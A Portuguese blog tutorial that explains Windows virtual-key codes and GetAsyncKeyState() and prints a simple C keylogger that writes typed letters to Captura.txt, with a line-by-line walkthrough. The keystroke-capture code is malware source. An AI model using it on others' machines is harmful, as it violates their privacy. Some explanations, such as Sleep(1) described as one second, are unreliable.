Criação de um Keylogger em C

Antes de começar a escrever esse artigo, quero deixar claro que a intenção aqui é ensinar, trazer a luz do conhecimento sem medos ou correntes que impeçam a evolução intelectual.

Quero mostrar que com um simples código conseguimos capturar informações de um teclado.

Você já deve ter escutado alguma vez a palavra keylogger e talvez até tenha tido a curiosidade de buscar no Google o que isso significa, certamente viu que é um programinha capaz de capturar informações que são digitadas em um computador.

Esse assunto é muito interessante, principalmente para quem quer seguir na área de segurança da informação.

Infelizmente algumas pessoas usam o conhecimento para coisas erradas, portanto, mais uma vez esclareço que a intenção desse artigo é puramente didática, é mostrar a força da linguagem C/C++ e tudo o que ela pode fazer para ajudar em uma possível jornada pela segurança.

O que veremos aqui não é uma exclusividade da linguagem C/C++, até usando VB você conseguiria criar algo semelhante, mas podemos dizer que com C/C++ tudo fica mais “interessante”.

Entendendo a identificação de teclas

Para criar um keylogger é necessário saber a identificação de cada uma das teclas do nosso teclado.

Afinal, se queremos capturá-las, precisamos saber quem é quem nessa “salada de frutas”.

Isso pode ser feito de duas formas: através da identificação decimal que está mais dentro do nosso cotidiano ou pela identificação hexadecimal que foge um pouco do nosso dia a dia.

Veja abaixo algumas teclas com suas identificações:

##65   41  A
##66   42  B
##67   43  C
##68   44  D
##69   45  E
##70   46  F
##71   47  G
##72   48  H
##73   49  I
##74   4A  J
##75   4B  K
##76   4C  L
##77   4D  M
##78   4E  N
##79   4F  O
##80   50  P
##81   51  Q
##82   52  R
##83   53  S
##84   54  T
##85   55  U
##86   56  V
##87   57  W
##88   58  X
##89   59  Y
##90   5A  Z

Note que na tabela acima temos a identificação decimal de cada letra do alfabeto na coluna da esquerda, na coluna central a identificação em Hexadecimal e na coluna da direita a letra representada.

Com o conhecimento dessas identificações já estamos na metade do caminho para a criação de um keylogger.

Tabela ASCII completa: http://www.ascii-code.com/

A função GetAsyncKeyState()

Agora vou apresentar a função que faz com que a captura das teclas seja possível, ela é a GetAsyncKeyState().

Essa função, na verdade, não captura coisa alguma. Ela simplesmente retorna o estado de uma tecla que lhe é passada como parâmetro.

Exemplo:

if(GetAsyncKeyState(65) == -32768)
  printf("Tecla A foi pressionada 
");

Repare que a função apenas retorna -32768 se a tecla estiver pressionada, caso contrário o retorno é 0 (zero).

Essa informação já é o suficiente para incrementarmos um código verificando o retorno das teclas pressionadas e gravando cada uma em um arquivo.txt.

Criando o programa

Agora que já sabemos os valores das principais teclas do teclado e também qual é a função que faz a “mágica” da captura de teclas acontecer, vamos definitivamente criar nosso programa.

Veja o código abaixo:

#include <windows.h>
#include <stdio.h>

int main()
{
    int result,teclas;
    FILE *arquivo;

    arquivo = fopen("Captura.txt","w");

    while(1) {
        for(teclas = 64; teclas <= 90; teclas++) {
            Sleep(1);

            result = GetAsyncKeyState(teclas);

            if(result == -32767) {
                fprintf(arquivo,"%c",teclas);
            }
        }
    }

    return 0;
}

Eis então o nosso código, agora vamos entender detalhadamente cada parte dele.

Primeiro temos nossas inclusões, que são necessárias para o seu funcionamento:

#include <windows.h>
#include <stdio.h>

Depois dentro da função principal criamos as variáveis que vamos usar.

int main()
{
    int result,teclas;
    FILE *arquivo;

Note que temos duas variáveis inteiras que serão usadas diretamente na verificação e captura das teclas, e depois temos o arquivo onde iremos gravar as informações capturadas.

Para abrir esse arquivo usamos a função fopen() como é apresentado abaixo:

arquivo = fopen("Captura.txt","w");

Veja que o identificador "w" indica que estamos querendo fazer uma gravação de dados em Captura.txt.

Por último, mas não menos importante, temos o laço infinito que é responsável pela verificação e captura de cada tecla.

while(1) {
    for(teclas = 64; teclas <= 90; teclas++) {
        Sleep(1);

        result = GetAsyncKeyState(teclas);

        if(result == -32767) {
            fprintf(arquivo,"%c",teclas);
        }
    }
}

Repare que dentro desse laço temos um for onde determinamos quais teclas serão analisadas. No caso, iniciando na tecla 64 que é um simples @ e terminando na tecla 90 que é a letra Z.

Após a criação do laço devemos esperar 1 segundo com a função sleep() e depois fazer as verificações com a função GetAsyncKeyState().

Feito isso, guardamos os valores retornados dentro de uma variável, que por sua vez é analisada dentro de uma condicional que verifica se determinada tecla está sendo pressionada.

Se estiver, gravamos a informação usando a função fprintf(), que é usada justamente para escrever textos em arquivos.

Ufa! Acabamos. Agora é só executar o programa e digitar algumas informações e conferir a pasta do projeto, nela você terá todos os arquivos que foram criados com cada tecla capturada.

É isso pessoal, espero que tenham gostado do artigo. Abraço e até a próxima.

Deixe seu comentário

JUNTE-SE A MAIS DE 150.000 PROGRAMADORES